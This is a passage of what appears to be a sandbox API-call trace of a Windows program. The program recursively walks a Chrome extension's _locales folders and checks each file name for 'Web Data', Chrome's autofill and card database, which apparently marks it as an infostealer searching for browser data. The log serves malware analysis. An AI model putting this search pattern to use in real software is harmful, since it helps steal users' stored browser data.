lpString1=0x2e0210, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\" [0056.398] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\", lpString2="he" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\he") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\he" [0056.398] LocalFree (hMem=0x2e0100) returned 0x0 [0056.398] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\he") returned 131 [0056.398] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\he") returned 131 [0056.398] lstrlenA (lpString="\\*.*") returned 4 [0056.398] LocalAlloc (uFlags=0x40, uBytes=0x108) returned 0x2e0100 [0056.398] lstrcpyA (in: lpString1=0x2e0100, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\he" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\he") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\he" [0056.398] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\he", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\he\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\he\\*.*" [0056.398] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\he\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc8b8 [0056.398] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.398] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.398] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.398] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.398] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.398] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.398] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0 [0056.398] FindClose (in: hFindFile=0x2dc8b8 | out: hFindFile=0x2dc8b8) returned 1 [0056.398] LocalFree (hMem=0x2e0100) returned 0x0 [0056.398] LocalFree (hMem=0x2e0210) returned 0x0 [0056.398] FindNextFileA (in: hFindFile=0x2dc878, lpFindFileData=0x21f0d0 | out: lpFindFileData=0x21f0d0) returned 1 [0056.398] lstrcmpiA (lpString1=".", lpString2="hi") returned -1 [0056.398] lstrcmpiA (lpString1="..", lpString2="hi") returned -1 [0056.398] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales") returned 128 [0056.398] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales") returned 128 [0056.398] lstrlenA (lpString="\\") returned 1 [0056.398] LocalAlloc (uFlags=0x40, uBytes=0x102) returned 0x2e0100 [0056.398] lstrcpyA (in: lpString1=0x2e0100, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales" [0056.398] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\" [0056.398] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\") returned 129 [0056.398] lstrlenA (lpString="hi") returned 2 [0056.398] LocalAlloc (uFlags=0x40, uBytes=0x104) returned 0x2e0210 [0056.398] lstrcpyA (in: lpString1=0x2e0210, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\" [0056.398] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\", lpString2="hi" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\hi") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\hi" [0056.398] LocalFree (hMem=0x2e0100) returned 0x0 [0056.398] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\hi") returned 131 [0056.398] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\hi") returned 131 [0056.398] lstrlenA (lpString="\\*.*") returned 4 [0056.399] LocalAlloc (uFlags=0x40, uBytes=0x108) returned 0x2e0100 [0056.399] lstrcpyA (in: lpString1=0x2e0100, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\hi" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\hi") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\hi" [0056.399] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\hi", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\hi\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\hi\\*.*" [0056.399] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\hi\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc8b8 [0056.399] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.399] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.399] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.399] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.399] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.399] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.399] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0 [0056.399] FindClose (in: hFindFile=0x2dc8b8 | out: hFindFile=0x2dc8b8) returned 1 [0056.399] LocalFree (hMem=0x2e0100) returned 0x0 [0056.399] LocalFree (hMem=0x2e0210) returned 0x0 [0056.399] FindNextFileA (in: hFindFile=0x2dc878, lpFindFileData=0x21f0d0 | out: lpFindFileData=0x21f0d0) returned 1 [0056.399] lstrcmpiA (lpString1=".", lpString2="hu") returned -1 [0056.399] lstrcmpiA (lpString1="..", lpString2="hu") returned -1 [0056.399] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales") returned 128 [0056.399] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales") returned 128 [0056.399] lstrlenA (lpString="\\") returned 1 [0056.399] LocalAlloc (uFlags=0x40, uBytes=0x102) returned 0x2e0100 [0056.399] lstrcpyA (in: lpString1=0x2e0100, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales" [0056.399] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\" [0056.399] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\") returned 129 [0056.399] lstrlenA (lpString="hu") returned 2 [0056.399] LocalAlloc (uFlags=0x40, uBytes=0x104) returned 0x2e0210 [0056.399] lstrcpyA (in: lpString1=0x2e0210, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\" [0056.399] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\", lpString2="hu" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\hu") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\hu" [0056.399] LocalFree (hMem=0x2e0100) returned 0x0 [0056.399] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\hu") returned 131 [0056.399] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\hu") returned 131 [0056.399] lstrlenA (lpString="\\*.*") returned 4 [0056.399] LocalAlloc (uFlags=0x40, uBytes=0x108) returned 0x2e0100 [0056.399] lstrcpyA (in: lpString1=0x2e0100, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\hu" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\hu") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\hu" [0056.399] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\hu", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\hu\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\hu\\*.*" [0056.399] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\hu\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc8b8 [0056.399] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.399] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.399] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.399] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.399] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.400] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.400] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0 [0056.400] FindClose (in: hFindFile=0x2dc8b8 | out: hFindFile=0x2dc8b8) returned 1 [0056.400] LocalFree (hMem=0x2e0100) returned 0x0 [0056.400] LocalFree (hMem=0x2e0210) returned 0x0 [0056.400] FindNextFileA (in: hFindFile=0x2dc878, lpFindFileData=0x21f0d0 | out: lpFindFileData=0x21f0d0) returned 1 [0056.400] lstrcmpiA (lpString1=".", lpString2="id") returned -1 [0056.400] lstrcmpiA (lpString1="..", lpString2="id") returned -1 [0056.400] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales") returned 128 [0056.400] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales") returned 128 [0056.400] lstrlenA (lpString="\\") returned 1 [0056.400] LocalAlloc (uFlags=0x40, uBytes=0x102) returned 0x2e0100 [0056.400] lstrcpyA (in: lpString1=0x2e0100, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales" [0056.400] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\" [0056.400] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\") returned 129 [0056.400] lstrlenA (lpString="id") returned 2 [0056.400] LocalAlloc (uFlags=0x40, uBytes=0x104) returned 0x2e0210 [0056.400] lstrcpyA (in: lpString1=0x2e0210, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\" [0056.400] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\", lpString2="id" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\id") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\id" [0056.400] LocalFree (hMem=0x2e0100) returned 0x0 [0056.400] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\id") returned 131 [0056.400] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\id") returned 131 [0056.400] lstrlenA (lpString="\\*.*") returned 4 [0056.400] LocalAlloc (uFlags=0x40, uBytes=0x108) returned 0x2e0100 [0056.400] lstrcpyA (in: lpString1=0x2e0100, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\id" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\id") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\id" [0056.400] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\id", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\id\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\id\\*.*" [0056.400] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\id\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc8b8 [0056.400] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.400] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.400] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.400] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.400] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.400] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.400] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0 [0056.400] FindClose (in: hFindFile=0x2dc8b8 | out: hFindFile=0x2dc8b8) returned 1 [0056.400] LocalFree (hMem=0x2e0100) returned 0x0 [0056.400] LocalFree (hMem=0x2e0210) returned 0x0 [0056.400] FindNextFileA (in: hFindFile=0x2dc878, lpFindFileData=0x21f0d0 | out: lpFindFileData=0x21f0d0) returned 1 [0056.400] lstrcmpiA (lpString1=".", lpString2="it") returned -1 [0056.400] lstrcmpiA (lpString1="..", lpString2="it") returned -1 [0056.400] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales") returned 128 [0056.400] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales") returned 128 [0056.400] lstrlenA (lpString="\\") returned 1 [0056.400] LocalAlloc (uFlags=0x40, uBytes=0x102) returned 0x2e0100 [0056.400] lstrcpyA (in: lpString1=0x2e0100, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales" [0056.400] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\" [0056.401] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\") returned 129 [0056.401] lstrlenA (lpString="it") returned 2 [0056.401] LocalAlloc (uFlags=0x40, uBytes=0x104) returned 0x2e0210 [0056.401] lstrcpyA (in: lpString1=0x2e0210, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\" [0056.401] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\", lpString2="it" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\it") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\it" [0056.401] LocalFree (hMem=0x2e0100) returned 0x0 [0056.401] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\it") returned 131 [0056.401] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User 